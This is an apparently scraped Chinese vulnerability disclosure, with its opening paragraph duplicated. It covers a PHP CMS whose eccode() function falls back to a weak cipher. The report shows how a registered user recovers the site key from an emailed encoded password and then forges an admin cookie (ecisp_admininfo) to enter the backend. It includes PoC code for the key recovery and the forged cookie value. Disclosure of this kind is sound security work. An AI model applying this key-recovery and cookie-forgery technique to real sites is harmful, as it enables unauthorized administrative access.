### 简要描述: 8.25 V6.4.15.08.25 捡漏 ### 详细说明: 在加密算法那 ,一般情况下我们是不能再还原出key了。 他加了这么一段代码 ``` function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { if (extension_loaded('mcrypt') && $mcrype) { $result = $this->encryptCookie($string, $key); } else {...... ``` 調用的是php自带的 加密函数。 看到有人提交过 这个 http://wooyun.org/bugs/wooyun-2010-098132 当 mcrype 为 false时 就能用以前的有漏洞的算法加密了。 全局搜索下 ``` , FALSE); ``` 看看是否还有其他地方加密时 mcrype为false。 找到一处/public/class_connector.php ``` function get_link($module = null, $read = array(), $lng_temp = '', $pagekey = 0, $patyclass = 0, $is_wap = 0) { ....... switch ($module) { ...... case 'member_ucenter': $username = $this->fun->eccode($read['username'], 'ENCODE', db_pscode, FALSE); $password = $this->fun->eccode($read['password'], 'ENCODE', db_pscode, FALSE); $link = "index.php?ac=member&at=uccheckuser&key=" . $username . '&code=' . $password; break; ``` 这里加密password 时 mcrype 是为 false的。...
### 简要描述: 8.25 V6.4.15.08.25 捡漏 ### 详细说明: 在加密算法那 ,一般情况下我们是不能再还原出key了。 他加了这么一段代码 ``` function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { if (extension_loaded('mcrypt') && $mcrype) { $result = $this->encryptCookie($string, $key); } else {...... ``` 調用的是php自带的 加密函数。 看到有人提交过 这个 http://wooyun.org/bugs/wooyun-2010-098132 当 mcrype 为 false时 就能用以前的有漏洞的算法加密了。 全局搜索下 ``` , FALSE); ``` 看看是否还有其他地方加密时 mcrype为false。 找到一处/public/class_connector.php ``` function get_link($module = null, $read = array(), $lng_temp = '', $pagekey = 0, $patyclass = 0, $is_wap = 0) { ....... switch ($module) { ...... case 'member_ucenter': $username = $this->fun->eccode($read['username'], 'ENCODE', db_pscode, FALSE); $password = $this->fun->eccode($read['password'], 'ENCODE', db_pscode, FALSE); $link = "index.php?ac=member&at=uccheckuser&key=" . $username . '&code=' . $password; break; ``` 这里加密password 时 mcrype 是为 false的。 然后全局搜索下 ``` get_link('member_ucenter ``` 看看那个文件調用了。 /interface/member.php ``` function in_logindb() { ......... else { if ($rsMember['isclass'] == 2) { $linkURL = $this->get_link('member_mailsend', $rsMember, admin_LNG); $this->callmessage($this->lng['username_check'], $linkURL, $this->lng['checkemail_send'], 1, $this->lng['gobackbotton']); } ``` 是登入的一个地方。 我们前台注册用户, 然后登入时 会将 md5(password) 以 mcrype 为 false的形式发送到我们的注册邮箱。 因为 password 是我们可以控制的 所以可以还原出 key ------- ### 漏洞证明: 注册个用户 密码为 aaaaaa11 得到md5值 c683890bddd853417ba6fac6f2de5c4c 然后登入 查看邮箱, [<img src="https://images.seebug.org/upload/201508/25173249f21b8b1617ea4978075f3386da28ee10.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/25173249f21b8b1617ea4978075f3386da28ee10.png) 得到加密后的值 填入 poc ``` $text = "c683890bddd853417ba6fac6f2de5c4c"; $cookie = "nGxpbJmbacSVmpZslphsZ5mUkW6fxclqy2nGnpucbZk"; $bincookie = base64_decode($cookie); for ($j=0; $j < strlen($text); $j++) { echo chr( ord($bincookie[$j]) - ord($text[$j]) ); } ``` 获取到 key后 [<img src="https://images.seebug.org/upload/201508/25173428884e93d8c6c3d0038b3d953f5ea4d255.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/25173428884e93d8c6c3d0038b3d953f5ea4d255.png) 再用 mcrype 为 true 的形式加密一次 ``` echo eccode('1|admin|a6b19ac665d2c7f570d931740788613d|1b1a9fe8dea603b93684d610b5808c02|1|1|ec3da02dc2712a9d1386a654155b6094','ENCODE','619ab9b1624ae86b2089df4e7b9f99',true); //1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL) ``` 添加cookie ecisp_admininfo 为加密后的值 就能登入后台了。 [<img src="https://images.seebug.org/upload/201508/25173926565a15f000377ca395fe092093258bc2.jpg" alt="xx.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/25173926565a15f000377ca395fe092093258bc2.jpg)